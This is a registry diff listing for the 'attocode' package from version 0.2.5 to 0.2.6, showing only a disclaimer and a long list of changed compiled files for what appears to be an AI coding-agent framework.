attocode 0.2.5 → 0.2.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (672) hide show
  1. package/CHANGELOG.md +33 -1
  2. package/dist/src/adapters.d.ts +37 -0
  3. package/dist/src/adapters.d.ts.map +1 -1
  4. package/dist/src/adapters.js +146 -19
  5. package/dist/src/adapters.js.map +1 -1
  6. package/dist/src/agent/agent-builder.d.ts.map +1 -1
  7. package/dist/src/agent/agent-builder.js.map +1 -1
  8. package/dist/src/agent/feature-initializer.d.ts +1 -1
  9. package/dist/src/agent/feature-initializer.d.ts.map +1 -1
  10. package/dist/src/agent/feature-initializer.js +40 -41
  11. package/dist/src/agent/feature-initializer.js.map +1 -1
  12. package/dist/src/agent/index.d.ts +2 -2
  13. package/dist/src/agent/index.d.ts.map +1 -1
  14. package/dist/src/agent/index.js +2 -2
  15. package/dist/src/agent/index.js.map +1 -1
  16. package/dist/src/agent/message-builder.d.ts.map +1 -1
  17. package/dist/src/agent/message-builder.js +8 -5
  18. package/dist/src/agent/message-builder.js.map +1 -1
  19. package/dist/src/agent/session-api.d.ts.map +1 -1
  20. package/dist/src/agent/session-api.js +3 -1
  21. package/dist/src/agent/session-api.js.map +1 -1
  22. package/dist/src/agent-tools/lsp-file-tools.d.ts.map +1 -1
  23. package/dist/src/agent-tools/lsp-file-tools.js +17 -13
  24. package/dist/src/agent-tools/lsp-file-tools.js.map +1 -1
  25. package/dist/src/agent.d.ts +12 -2
  26. package/dist/src/agent.d.ts.map +1 -1
  27. package/dist/src/agent.js +207 -76
  28. package/dist/src/agent.js.map +1 -1
  29. package/dist/src/analysis/feedback-loop.d.ts.map +1 -1
  30. package/dist/src/analysis/feedback-loop.js +13 -9
  31. package/dist/src/analysis/feedback-loop.js.map +1 -1
  32. package/dist/src/analysis/index.d.ts +1 -1
  33. package/dist/src/analysis/index.d.ts.map +1 -1
  34. package/dist/src/analysis/index.js +1 -1
  35. package/dist/src/analysis/index.js.map +1 -1
  36. package/dist/src/analysis/prompt-templates.d.ts.map +1 -1
  37. package/dist/src/analysis/prompt-templates.js.map +1 -1
  38. package/dist/src/analysis/trace-summary.d.ts.map +1 -1
  39. package/dist/src/analysis/trace-summary.js +25 -9
  40. package/dist/src/analysis/trace-summary.js.map +1 -1
  41. package/dist/src/cli.d.ts.map +1 -1
  42. package/dist/src/cli.js +3 -1
  43. package/dist/src/cli.js.map +1 -1
  44. package/dist/src/commands/agents-commands.d.ts.map +1 -1
  45. package/dist/src/commands/agents-commands.js +3 -3
  46. package/dist/src/commands/agents-commands.js.map +1 -1
  47. package/dist/src/commands/handler.d.ts.map +1 -1
  48. package/dist/src/commands/handler.js +60 -37
  49. package/dist/src/commands/handler.js.map +1 -1
  50. package/dist/src/commands/init-commands.d.ts.map +1 -1
  51. package/dist/src/commands/init-commands.js +8 -10
  52. package/dist/src/commands/init-commands.js.map +1 -1
  53. package/dist/src/commands/init.js +16 -16
  54. package/dist/src/commands/init.js.map +1 -1
  55. package/dist/src/commands/skills-commands.d.ts.map +1 -1
  56. package/dist/src/commands/skills-commands.js +10 -7
  57. package/dist/src/commands/skills-commands.js.map +1 -1
  58. package/dist/src/commands/types.d.ts.map +1 -1
  59. package/dist/src/config/config-manager.d.ts.map +1 -1
  60. package/dist/src/config/config-manager.js +4 -1
  61. package/dist/src/config/config-manager.js.map +1 -1
  62. package/dist/src/config/index.d.ts +1 -1
  63. package/dist/src/config/index.d.ts.map +1 -1
  64. package/dist/src/config/schema.d.ts.map +1 -1
  65. package/dist/src/config/schema.js +6 -2
  66. package/dist/src/config/schema.js.map +1 -1
  67. package/dist/src/core/agent-state-machine.d.ts.map +1 -1
  68. package/dist/src/core/agent-state-machine.js +5 -2
  69. package/dist/src/core/agent-state-machine.js.map +1 -1
  70. package/dist/src/core/completion-analyzer.d.ts.map +1 -1
  71. package/dist/src/core/completion-analyzer.js +2 -2
  72. package/dist/src/core/completion-analyzer.js.map +1 -1
  73. package/dist/src/core/execution-loop.d.ts +172 -1
  74. package/dist/src/core/execution-loop.d.ts.map +1 -1
  75. package/dist/src/core/execution-loop.js +481 -383
  76. package/dist/src/core/execution-loop.js.map +1 -1
  77. package/dist/src/core/index.d.ts +2 -2
  78. package/dist/src/core/index.d.ts.map +1 -1
  79. package/dist/src/core/index.js +1 -1
  80. package/dist/src/core/index.js.map +1 -1
  81. package/dist/src/core/queues/event-queue.d.ts.map +1 -1
  82. package/dist/src/core/queues/event-queue.js.map +1 -1
  83. package/dist/src/core/response-handler.d.ts.map +1 -1
  84. package/dist/src/core/response-handler.js +17 -8
  85. package/dist/src/core/response-handler.js.map +1 -1
  86. package/dist/src/core/subagent-spawner.d.ts.map +1 -1
  87. package/dist/src/core/subagent-spawner.js +85 -53
  88. package/dist/src/core/subagent-spawner.js.map +1 -1
  89. package/dist/src/core/tool-executor.d.ts.map +1 -1
  90. package/dist/src/core/tool-executor.js +56 -25
  91. package/dist/src/core/tool-executor.js.map +1 -1
  92. package/dist/src/core/types.d.ts.map +1 -1
  93. package/dist/src/core/types.js.map +1 -1
  94. package/dist/src/costs/model-registry.js +6 -6
  95. package/dist/src/costs/model-registry.js.map +1 -1
  96. package/dist/src/defaults.d.ts.map +1 -1
  97. package/dist/src/defaults.js +67 -20
  98. package/dist/src/defaults.js.map +1 -1
  99. package/dist/src/errors/index.d.ts.map +1 -1
  100. package/dist/src/errors/index.js +6 -8
  101. package/dist/src/errors/index.js.map +1 -1
  102. package/dist/src/first-run.d.ts.map +1 -1
  103. package/dist/src/first-run.js +11 -11
  104. package/dist/src/first-run.js.map +1 -1
  105. package/dist/src/integrations/agents/agent-registry.d.ts.map +1 -1
  106. package/dist/src/integrations/agents/agent-registry.js +16 -16
  107. package/dist/src/integrations/agents/agent-registry.js.map +1 -1
  108. package/dist/src/integrations/agents/async-subagent.d.ts.map +1 -1
  109. package/dist/src/integrations/agents/async-subagent.js +7 -9
  110. package/dist/src/integrations/agents/async-subagent.js.map +1 -1
  111. package/dist/src/integrations/agents/complexity-classifier.d.ts.map +1 -1
  112. package/dist/src/integrations/agents/complexity-classifier.js +46 -15
  113. package/dist/src/integrations/agents/complexity-classifier.js.map +1 -1
  114. package/dist/src/integrations/agents/delegation-protocol.d.ts.map +1 -1
  115. package/dist/src/integrations/agents/delegation-protocol.js +6 -6
  116. package/dist/src/integrations/agents/delegation-protocol.js.map +1 -1
  117. package/dist/src/integrations/agents/multi-agent.d.ts.map +1 -1
  118. package/dist/src/integrations/agents/multi-agent.js +10 -14
  119. package/dist/src/integrations/agents/multi-agent.js.map +1 -1
  120. package/dist/src/integrations/agents/result-synthesizer.d.ts.map +1 -1
  121. package/dist/src/integrations/agents/result-synthesizer.js +8 -6
  122. package/dist/src/integrations/agents/result-synthesizer.js.map +1 -1
  123. package/dist/src/integrations/agents/shared-blackboard.d.ts.map +1 -1
  124. package/dist/src/integrations/agents/shared-blackboard.js.map +1 -1
  125. package/dist/src/integrations/agents/subagent-output-store.d.ts.map +1 -1
  126. package/dist/src/integrations/agents/subagent-output-store.js +3 -4
  127. package/dist/src/integrations/agents/subagent-output-store.js.map +1 -1
  128. package/dist/src/integrations/budget/budget-pool.d.ts.map +1 -1
  129. package/dist/src/integrations/budget/budget-pool.js +4 -8
  130. package/dist/src/integrations/budget/budget-pool.js.map +1 -1
  131. package/dist/src/integrations/budget/cancellation.d.ts.map +1 -1
  132. package/dist/src/integrations/budget/cancellation.js +16 -2
  133. package/dist/src/integrations/budget/cancellation.js.map +1 -1
  134. package/dist/src/integrations/budget/dynamic-budget.d.ts.map +1 -1
  135. package/dist/src/integrations/budget/dynamic-budget.js +4 -6
  136. package/dist/src/integrations/budget/dynamic-budget.js.map +1 -1
  137. package/dist/src/integrations/budget/economics.d.ts.map +1 -1
  138. package/dist/src/integrations/budget/economics.js +51 -19
  139. package/dist/src/integrations/budget/economics.js.map +1 -1
  140. package/dist/src/integrations/budget/injection-budget.js +1 -1
  141. package/dist/src/integrations/budget/injection-budget.js.map +1 -1
  142. package/dist/src/integrations/budget/loop-detector.d.ts.map +1 -1
  143. package/dist/src/integrations/budget/loop-detector.js +23 -6
  144. package/dist/src/integrations/budget/loop-detector.js.map +1 -1
  145. package/dist/src/integrations/budget/phase-tracker.d.ts.map +1 -1
  146. package/dist/src/integrations/budget/phase-tracker.js +4 -1
  147. package/dist/src/integrations/budget/phase-tracker.js.map +1 -1
  148. package/dist/src/integrations/budget/resources.d.ts.map +1 -1
  149. package/dist/src/integrations/budget/resources.js +54 -10
  150. package/dist/src/integrations/budget/resources.js.map +1 -1
  151. package/dist/src/integrations/context/auto-compaction.d.ts.map +1 -1
  152. package/dist/src/integrations/context/auto-compaction.js +16 -8
  153. package/dist/src/integrations/context/auto-compaction.js.map +1 -1
  154. package/dist/src/integrations/context/code-analyzer.d.ts.map +1 -1
  155. package/dist/src/integrations/context/code-analyzer.js +17 -20
  156. package/dist/src/integrations/context/code-analyzer.js.map +1 -1
  157. package/dist/src/integrations/context/code-selector.d.ts.map +1 -1
  158. package/dist/src/integrations/context/code-selector.js +42 -23
  159. package/dist/src/integrations/context/code-selector.js.map +1 -1
  160. package/dist/src/integrations/context/codebase-ast.d.ts.map +1 -1
  161. package/dist/src/integrations/context/codebase-ast.js +121 -58
  162. package/dist/src/integrations/context/codebase-ast.js.map +1 -1
  163. package/dist/src/integrations/context/codebase-context.d.ts.map +1 -1
  164. package/dist/src/integrations/context/codebase-context.js +26 -17
  165. package/dist/src/integrations/context/codebase-context.js.map +1 -1
  166. package/dist/src/integrations/context/compaction.d.ts.map +1 -1
  167. package/dist/src/integrations/context/compaction.js +27 -20
  168. package/dist/src/integrations/context/compaction.js.map +1 -1
  169. package/dist/src/integrations/context/context-engineering.d.ts.map +1 -1
  170. package/dist/src/integrations/context/context-engineering.js.map +1 -1
  171. package/dist/src/integrations/context/semantic-cache.d.ts.map +1 -1
  172. package/dist/src/integrations/context/semantic-cache.js +6 -1
  173. package/dist/src/integrations/context/semantic-cache.js.map +1 -1
  174. package/dist/src/integrations/index.d.ts +2 -2
  175. package/dist/src/integrations/index.d.ts.map +1 -1
  176. package/dist/src/integrations/index.js +2 -2
  177. package/dist/src/integrations/index.js.map +1 -1
  178. package/dist/src/integrations/mcp/mcp-client.d.ts.map +1 -1
  179. package/dist/src/integrations/mcp/mcp-client.js +48 -27
  180. package/dist/src/integrations/mcp/mcp-client.js.map +1 -1
  181. package/dist/src/integrations/mcp/mcp-custom-tools.d.ts.map +1 -1
  182. package/dist/src/integrations/mcp/mcp-custom-tools.js +2 -2
  183. package/dist/src/integrations/mcp/mcp-custom-tools.js.map +1 -1
  184. package/dist/src/integrations/mcp/mcp-tool-search.d.ts.map +1 -1
  185. package/dist/src/integrations/mcp/mcp-tool-search.js +8 -8
  186. package/dist/src/integrations/mcp/mcp-tool-search.js.map +1 -1
  187. package/dist/src/integrations/mcp/mcp-tool-validator.d.ts.map +1 -1
  188. package/dist/src/integrations/mcp/mcp-tool-validator.js +5 -7
  189. package/dist/src/integrations/mcp/mcp-tool-validator.js.map +1 -1
  190. package/dist/src/integrations/persistence/codebase-repository.d.ts.map +1 -1
  191. package/dist/src/integrations/persistence/codebase-repository.js +6 -2
  192. package/dist/src/integrations/persistence/codebase-repository.js.map +1 -1
  193. package/dist/src/integrations/persistence/goal-repository.d.ts.map +1 -1
  194. package/dist/src/integrations/persistence/goal-repository.js +8 -5
  195. package/dist/src/integrations/persistence/goal-repository.js.map +1 -1
  196. package/dist/src/integrations/persistence/history.d.ts.map +1 -1
  197. package/dist/src/integrations/persistence/history.js +2 -4
  198. package/dist/src/integrations/persistence/history.js.map +1 -1
  199. package/dist/src/integrations/persistence/persistence.d.ts.map +1 -1
  200. package/dist/src/integrations/persistence/persistence.js +6 -3
  201. package/dist/src/integrations/persistence/persistence.js.map +1 -1
  202. package/dist/src/integrations/persistence/session-repository.d.ts.map +1 -1
  203. package/dist/src/integrations/persistence/session-repository.js +39 -28
  204. package/dist/src/integrations/persistence/session-repository.js.map +1 -1
  205. package/dist/src/integrations/persistence/session-store.d.ts.map +1 -1
  206. package/dist/src/integrations/persistence/session-store.js +4 -4
  207. package/dist/src/integrations/persistence/session-store.js.map +1 -1
  208. package/dist/src/integrations/persistence/sqlite-store.d.ts.map +1 -1
  209. package/dist/src/integrations/persistence/sqlite-store.js +6 -2
  210. package/dist/src/integrations/persistence/sqlite-store.js.map +1 -1
  211. package/dist/src/integrations/persistence/worker-repository.d.ts.map +1 -1
  212. package/dist/src/integrations/persistence/worker-repository.js +1 -3
  213. package/dist/src/integrations/persistence/worker-repository.js.map +1 -1
  214. package/dist/src/integrations/quality/auto-checkpoint.d.ts.map +1 -1
  215. package/dist/src/integrations/quality/auto-checkpoint.js +3 -5
  216. package/dist/src/integrations/quality/auto-checkpoint.js.map +1 -1
  217. package/dist/src/integrations/quality/dead-letter-queue.d.ts.map +1 -1
  218. package/dist/src/integrations/quality/dead-letter-queue.js +14 -8
  219. package/dist/src/integrations/quality/dead-letter-queue.js.map +1 -1
  220. package/dist/src/integrations/quality/health-check.d.ts.map +1 -1
  221. package/dist/src/integrations/quality/health-check.js +14 -11
  222. package/dist/src/integrations/quality/health-check.js.map +1 -1
  223. package/dist/src/integrations/quality/learning-store.d.ts.map +1 -1
  224. package/dist/src/integrations/quality/learning-store.js +108 -31
  225. package/dist/src/integrations/quality/learning-store.js.map +1 -1
  226. package/dist/src/integrations/quality/self-improvement.d.ts.map +1 -1
  227. package/dist/src/integrations/quality/self-improvement.js +1 -1
  228. package/dist/src/integrations/quality/self-improvement.js.map +1 -1
  229. package/dist/src/integrations/quality/tool-recommendation.d.ts.map +1 -1
  230. package/dist/src/integrations/quality/tool-recommendation.js +40 -10
  231. package/dist/src/integrations/quality/tool-recommendation.js.map +1 -1
  232. package/dist/src/integrations/safety/bash-policy.d.ts.map +1 -1
  233. package/dist/src/integrations/safety/bash-policy.js +8 -5
  234. package/dist/src/integrations/safety/bash-policy.js.map +1 -1
  235. package/dist/src/integrations/safety/execution-policy.d.ts.map +1 -1
  236. package/dist/src/integrations/safety/execution-policy.js +15 -5
  237. package/dist/src/integrations/safety/execution-policy.js.map +1 -1
  238. package/dist/src/integrations/safety/policy-engine.d.ts.map +1 -1
  239. package/dist/src/integrations/safety/policy-engine.js +51 -11
  240. package/dist/src/integrations/safety/policy-engine.js.map +1 -1
  241. package/dist/src/integrations/safety/safety.d.ts.map +1 -1
  242. package/dist/src/integrations/safety/safety.js +18 -15
  243. package/dist/src/integrations/safety/safety.js.map +1 -1
  244. package/dist/src/integrations/safety/sandbox/basic.d.ts.map +1 -1
  245. package/dist/src/integrations/safety/sandbox/basic.js +1 -3
  246. package/dist/src/integrations/safety/sandbox/basic.js.map +1 -1
  247. package/dist/src/integrations/safety/sandbox/docker.d.ts.map +1 -1
  248. package/dist/src/integrations/safety/sandbox/docker.js.map +1 -1
  249. package/dist/src/integrations/safety/sandbox/index.d.ts.map +1 -1
  250. package/dist/src/integrations/safety/sandbox/index.js +28 -4
  251. package/dist/src/integrations/safety/sandbox/index.js.map +1 -1
  252. package/dist/src/integrations/safety/sandbox/landlock.d.ts.map +1 -1
  253. package/dist/src/integrations/safety/sandbox/landlock.js +7 -3
  254. package/dist/src/integrations/safety/sandbox/landlock.js.map +1 -1
  255. package/dist/src/integrations/safety/sandbox/seatbelt.d.ts.map +1 -1
  256. package/dist/src/integrations/safety/sandbox/seatbelt.js +4 -11
  257. package/dist/src/integrations/safety/sandbox/seatbelt.js.map +1 -1
  258. package/dist/src/integrations/safety/type-checker.d.ts.map +1 -1
  259. package/dist/src/integrations/safety/type-checker.js +6 -2
  260. package/dist/src/integrations/safety/type-checker.js.map +1 -1
  261. package/dist/src/integrations/skills/skill-executor.d.ts.map +1 -1
  262. package/dist/src/integrations/skills/skill-executor.js +3 -7
  263. package/dist/src/integrations/skills/skill-executor.js.map +1 -1
  264. package/dist/src/integrations/skills/skills.d.ts.map +1 -1
  265. package/dist/src/integrations/skills/skills.js +24 -15
  266. package/dist/src/integrations/skills/skills.js.map +1 -1
  267. package/dist/src/integrations/streaming/pty-shell.d.ts.map +1 -1
  268. package/dist/src/integrations/streaming/pty-shell.js +5 -1
  269. package/dist/src/integrations/streaming/pty-shell.js.map +1 -1
  270. package/dist/src/integrations/streaming/streaming.d.ts.map +1 -1
  271. package/dist/src/integrations/streaming/streaming.js +7 -5
  272. package/dist/src/integrations/streaming/streaming.js.map +1 -1
  273. package/dist/src/integrations/swarm/failure-classifier.d.ts.map +1 -1
  274. package/dist/src/integrations/swarm/failure-classifier.js +18 -3
  275. package/dist/src/integrations/swarm/failure-classifier.js.map +1 -1
  276. package/dist/src/integrations/swarm/index.d.ts +5 -5
  277. package/dist/src/integrations/swarm/index.d.ts.map +1 -1
  278. package/dist/src/integrations/swarm/index.js +4 -4
  279. package/dist/src/integrations/swarm/index.js.map +1 -1
  280. package/dist/src/integrations/swarm/model-selector.d.ts.map +1 -1
  281. package/dist/src/integrations/swarm/model-selector.js +20 -23
  282. package/dist/src/integrations/swarm/model-selector.js.map +1 -1
  283. package/dist/src/integrations/swarm/request-throttle.d.ts.map +1 -1
  284. package/dist/src/integrations/swarm/request-throttle.js +7 -4
  285. package/dist/src/integrations/swarm/request-throttle.js.map +1 -1
  286. package/dist/src/integrations/swarm/swarm-budget.d.ts.map +1 -1
  287. package/dist/src/integrations/swarm/swarm-budget.js +1 -1
  288. package/dist/src/integrations/swarm/swarm-budget.js.map +1 -1
  289. package/dist/src/integrations/swarm/swarm-config-loader.d.ts.map +1 -1
  290. package/dist/src/integrations/swarm/swarm-config-loader.js +46 -17
  291. package/dist/src/integrations/swarm/swarm-config-loader.js.map +1 -1
  292. package/dist/src/integrations/swarm/swarm-event-bridge.d.ts.map +1 -1
  293. package/dist/src/integrations/swarm/swarm-event-bridge.js +69 -23
  294. package/dist/src/integrations/swarm/swarm-event-bridge.js.map +1 -1
  295. package/dist/src/integrations/swarm/swarm-events.d.ts.map +1 -1
  296. package/dist/src/integrations/swarm/swarm-events.js +1 -1
  297. package/dist/src/integrations/swarm/swarm-events.js.map +1 -1
  298. package/dist/src/integrations/swarm/swarm-execution.d.ts.map +1 -1
  299. package/dist/src/integrations/swarm/swarm-execution.js +96 -46
  300. package/dist/src/integrations/swarm/swarm-execution.js.map +1 -1
  301. package/dist/src/integrations/swarm/swarm-helpers.d.ts.map +1 -1
  302. package/dist/src/integrations/swarm/swarm-helpers.js +25 -12
  303. package/dist/src/integrations/swarm/swarm-helpers.js.map +1 -1
  304. package/dist/src/integrations/swarm/swarm-lifecycle.d.ts.map +1 -1
  305. package/dist/src/integrations/swarm/swarm-lifecycle.js +102 -47
  306. package/dist/src/integrations/swarm/swarm-lifecycle.js.map +1 -1
  307. package/dist/src/integrations/swarm/swarm-orchestrator.d.ts +1 -1
  308. package/dist/src/integrations/swarm/swarm-orchestrator.d.ts.map +1 -1
  309. package/dist/src/integrations/swarm/swarm-orchestrator.js +97 -39
  310. package/dist/src/integrations/swarm/swarm-orchestrator.js.map +1 -1
  311. package/dist/src/integrations/swarm/swarm-quality-gate.d.ts.map +1 -1
  312. package/dist/src/integrations/swarm/swarm-quality-gate.js +18 -14
  313. package/dist/src/integrations/swarm/swarm-quality-gate.js.map +1 -1
  314. package/dist/src/integrations/swarm/swarm-recovery.d.ts.map +1 -1
  315. package/dist/src/integrations/swarm/swarm-recovery.js +42 -29
  316. package/dist/src/integrations/swarm/swarm-recovery.js.map +1 -1
  317. package/dist/src/integrations/swarm/swarm-state-store.d.ts.map +1 -1
  318. package/dist/src/integrations/swarm/swarm-state-store.js +4 -2
  319. package/dist/src/integrations/swarm/swarm-state-store.js.map +1 -1
  320. package/dist/src/integrations/swarm/task-queue.d.ts +7 -1
  321. package/dist/src/integrations/swarm/task-queue.d.ts.map +1 -1
  322. package/dist/src/integrations/swarm/task-queue.js +32 -25
  323. package/dist/src/integrations/swarm/task-queue.js.map +1 -1
  324. package/dist/src/integrations/swarm/types.d.ts.map +1 -1
  325. package/dist/src/integrations/swarm/types.js +89 -12
  326. package/dist/src/integrations/swarm/types.js.map +1 -1
  327. package/dist/src/integrations/swarm/worker-pool.d.ts.map +1 -1
  328. package/dist/src/integrations/swarm/worker-pool.js +32 -24
  329. package/dist/src/integrations/swarm/worker-pool.js.map +1 -1
  330. package/dist/src/integrations/tasks/dependency-analyzer.d.ts.map +1 -1
  331. package/dist/src/integrations/tasks/dependency-analyzer.js +1 -2
  332. package/dist/src/integrations/tasks/dependency-analyzer.js.map +1 -1
  333. package/dist/src/integrations/tasks/interactive-planning.d.ts.map +1 -1
  334. package/dist/src/integrations/tasks/interactive-planning.js +2 -9
  335. package/dist/src/integrations/tasks/interactive-planning.js.map +1 -1
  336. package/dist/src/integrations/tasks/pending-plan.d.ts.map +1 -1
  337. package/dist/src/integrations/tasks/pending-plan.js +16 -16
  338. package/dist/src/integrations/tasks/pending-plan.js.map +1 -1
  339. package/dist/src/integrations/tasks/planning.d.ts.map +1 -1
  340. package/dist/src/integrations/tasks/planning.js +42 -23
  341. package/dist/src/integrations/tasks/planning.js.map +1 -1
  342. package/dist/src/integrations/tasks/smart-decomposer.d.ts.map +1 -1
  343. package/dist/src/integrations/tasks/smart-decomposer.js +17 -10
  344. package/dist/src/integrations/tasks/smart-decomposer.js.map +1 -1
  345. package/dist/src/integrations/tasks/task-manager.d.ts.map +1 -1
  346. package/dist/src/integrations/tasks/task-manager.js +25 -18
  347. package/dist/src/integrations/tasks/task-manager.js.map +1 -1
  348. package/dist/src/integrations/tasks/task-splitter.d.ts.map +1 -1
  349. package/dist/src/integrations/tasks/task-splitter.js +21 -16
  350. package/dist/src/integrations/tasks/task-splitter.js.map +1 -1
  351. package/dist/src/integrations/tasks/verification-gate.d.ts.map +1 -1
  352. package/dist/src/integrations/tasks/verification-gate.js +4 -2
  353. package/dist/src/integrations/tasks/verification-gate.js.map +1 -1
  354. package/dist/src/integrations/tasks/work-log.d.ts.map +1 -1
  355. package/dist/src/integrations/tasks/work-log.js +22 -10
  356. package/dist/src/integrations/tasks/work-log.js.map +1 -1
  357. package/dist/src/integrations/utilities/capabilities.d.ts.map +1 -1
  358. package/dist/src/integrations/utilities/capabilities.js +46 -8
  359. package/dist/src/integrations/utilities/capabilities.js.map +1 -1
  360. package/dist/src/integrations/utilities/diff-utils.d.ts.map +1 -1
  361. package/dist/src/integrations/utilities/diff-utils.js +6 -7
  362. package/dist/src/integrations/utilities/diff-utils.js.map +1 -1
  363. package/dist/src/integrations/utilities/environment-facts.d.ts.map +1 -1
  364. package/dist/src/integrations/utilities/environment-facts.js +12 -2
  365. package/dist/src/integrations/utilities/environment-facts.js.map +1 -1
  366. package/dist/src/integrations/utilities/file-change-tracker.d.ts.map +1 -1
  367. package/dist/src/integrations/utilities/file-change-tracker.js +7 -8
  368. package/dist/src/integrations/utilities/file-change-tracker.js.map +1 -1
  369. package/dist/src/integrations/utilities/graph-visualization.d.ts.map +1 -1
  370. package/dist/src/integrations/utilities/graph-visualization.js +8 -6
  371. package/dist/src/integrations/utilities/graph-visualization.js.map +1 -1
  372. package/dist/src/integrations/utilities/hierarchical-config.d.ts.map +1 -1
  373. package/dist/src/integrations/utilities/hierarchical-config.js +5 -1
  374. package/dist/src/integrations/utilities/hierarchical-config.js.map +1 -1
  375. package/dist/src/integrations/utilities/hooks.d.ts.map +1 -1
  376. package/dist/src/integrations/utilities/hooks.js +3 -3
  377. package/dist/src/integrations/utilities/hooks.js.map +1 -1
  378. package/dist/src/integrations/utilities/ignore.js +1 -1
  379. package/dist/src/integrations/utilities/ignore.js.map +1 -1
  380. package/dist/src/integrations/utilities/image-renderer.d.ts.map +1 -1
  381. package/dist/src/integrations/utilities/image-renderer.js +4 -9
  382. package/dist/src/integrations/utilities/image-renderer.js.map +1 -1
  383. package/dist/src/integrations/utilities/logger.d.ts.map +1 -1
  384. package/dist/src/integrations/utilities/logger.js +1 -3
  385. package/dist/src/integrations/utilities/logger.js.map +1 -1
  386. package/dist/src/integrations/utilities/memory.d.ts.map +1 -1
  387. package/dist/src/integrations/utilities/memory.js +1 -3
  388. package/dist/src/integrations/utilities/memory.js.map +1 -1
  389. package/dist/src/integrations/utilities/observability.d.ts.map +1 -1
  390. package/dist/src/integrations/utilities/observability.js +2 -1
  391. package/dist/src/integrations/utilities/observability.js.map +1 -1
  392. package/dist/src/integrations/utilities/openrouter-pricing.d.ts.map +1 -1
  393. package/dist/src/integrations/utilities/openrouter-pricing.js +3 -3
  394. package/dist/src/integrations/utilities/openrouter-pricing.js.map +1 -1
  395. package/dist/src/integrations/utilities/react.d.ts.map +1 -1
  396. package/dist/src/integrations/utilities/react.js +5 -9
  397. package/dist/src/integrations/utilities/react.js.map +1 -1
  398. package/dist/src/integrations/utilities/retry.d.ts.map +1 -1
  399. package/dist/src/integrations/utilities/retry.js +1 -1
  400. package/dist/src/integrations/utilities/retry.js.map +1 -1
  401. package/dist/src/integrations/utilities/routing.d.ts.map +1 -1
  402. package/dist/src/integrations/utilities/routing.js +16 -4
  403. package/dist/src/integrations/utilities/routing.js.map +1 -1
  404. package/dist/src/integrations/utilities/rules.d.ts.map +1 -1
  405. package/dist/src/integrations/utilities/rules.js +4 -6
  406. package/dist/src/integrations/utilities/rules.js.map +1 -1
  407. package/dist/src/integrations/utilities/sourcegraph.d.ts.map +1 -1
  408. package/dist/src/integrations/utilities/sourcegraph.js +3 -5
  409. package/dist/src/integrations/utilities/sourcegraph.js.map +1 -1
  410. package/dist/src/integrations/utilities/thinking-strategy.d.ts.map +1 -1
  411. package/dist/src/integrations/utilities/thinking-strategy.js.map +1 -1
  412. package/dist/src/integrations/utilities/thread-manager.d.ts.map +1 -1
  413. package/dist/src/integrations/utilities/thread-manager.js +8 -6
  414. package/dist/src/integrations/utilities/thread-manager.js.map +1 -1
  415. package/dist/src/integrations/utilities/token-estimate.d.ts +5 -0
  416. package/dist/src/integrations/utilities/token-estimate.d.ts.map +1 -1
  417. package/dist/src/integrations/utilities/token-estimate.js +7 -1
  418. package/dist/src/integrations/utilities/token-estimate.js.map +1 -1
  419. package/dist/src/main.js +41 -24
  420. package/dist/src/main.js.map +1 -1
  421. package/dist/src/modes/repl.d.ts.map +1 -1
  422. package/dist/src/modes/repl.js +51 -17
  423. package/dist/src/modes/repl.js.map +1 -1
  424. package/dist/src/modes/tui.d.ts.map +1 -1
  425. package/dist/src/modes/tui.js +70 -10
  426. package/dist/src/modes/tui.js.map +1 -1
  427. package/dist/src/modes.d.ts.map +1 -1
  428. package/dist/src/modes.js +13 -13
  429. package/dist/src/modes.js.map +1 -1
  430. package/dist/src/observability/tracer.d.ts.map +1 -1
  431. package/dist/src/observability/tracer.js +7 -3
  432. package/dist/src/observability/tracer.js.map +1 -1
  433. package/dist/src/observability/types.d.ts.map +1 -1
  434. package/dist/src/observability/types.js.map +1 -1
  435. package/dist/src/paths.d.ts.map +1 -1
  436. package/dist/src/paths.js +2 -6
  437. package/dist/src/paths.js.map +1 -1
  438. package/dist/src/persistence/migrator.d.ts.map +1 -1
  439. package/dist/src/persistence/migrator.js +7 -7
  440. package/dist/src/persistence/migrator.js.map +1 -1
  441. package/dist/src/providers/adapters/anthropic.d.ts.map +1 -1
  442. package/dist/src/providers/adapters/anthropic.js +50 -38
  443. package/dist/src/providers/adapters/anthropic.js.map +1 -1
  444. package/dist/src/providers/adapters/azure.d.ts.map +1 -1
  445. package/dist/src/providers/adapters/azure.js +31 -16
  446. package/dist/src/providers/adapters/azure.js.map +1 -1
  447. package/dist/src/providers/adapters/mock.d.ts.map +1 -1
  448. package/dist/src/providers/adapters/mock.js +9 -9
  449. package/dist/src/providers/adapters/mock.js.map +1 -1
  450. package/dist/src/providers/adapters/openai.d.ts.map +1 -1
  451. package/dist/src/providers/adapters/openai.js +22 -15
  452. package/dist/src/providers/adapters/openai.js.map +1 -1
  453. package/dist/src/providers/adapters/openrouter.d.ts.map +1 -1
  454. package/dist/src/providers/adapters/openrouter.js +60 -33
  455. package/dist/src/providers/adapters/openrouter.js.map +1 -1
  456. package/dist/src/providers/circuit-breaker.d.ts.map +1 -1
  457. package/dist/src/providers/circuit-breaker.js +4 -3
  458. package/dist/src/providers/circuit-breaker.js.map +1 -1
  459. package/dist/src/providers/fallback-chain.d.ts.map +1 -1
  460. package/dist/src/providers/fallback-chain.js +3 -3
  461. package/dist/src/providers/fallback-chain.js.map +1 -1
  462. package/dist/src/providers/llm-resilience.d.ts.map +1 -1
  463. package/dist/src/providers/llm-resilience.js +2 -2
  464. package/dist/src/providers/llm-resilience.js.map +1 -1
  465. package/dist/src/providers/provider.d.ts.map +1 -1
  466. package/dist/src/providers/provider.js +1 -2
  467. package/dist/src/providers/provider.js.map +1 -1
  468. package/dist/src/providers/resilient-fetch.d.ts.map +1 -1
  469. package/dist/src/providers/resilient-fetch.js +3 -4
  470. package/dist/src/providers/resilient-fetch.js.map +1 -1
  471. package/dist/src/providers/resilient-provider.d.ts.map +1 -1
  472. package/dist/src/providers/resilient-provider.js +8 -5
  473. package/dist/src/providers/resilient-provider.js.map +1 -1
  474. package/dist/src/session-picker.d.ts.map +1 -1
  475. package/dist/src/session-picker.js +9 -5
  476. package/dist/src/session-picker.js.map +1 -1
  477. package/dist/src/shared/budget-tracker.d.ts.map +1 -1
  478. package/dist/src/shared/budget-tracker.js +1 -1
  479. package/dist/src/shared/budget-tracker.js.map +1 -1
  480. package/dist/src/shared/context-engine.d.ts.map +1 -1
  481. package/dist/src/shared/context-engine.js +1 -1
  482. package/dist/src/shared/context-engine.js.map +1 -1
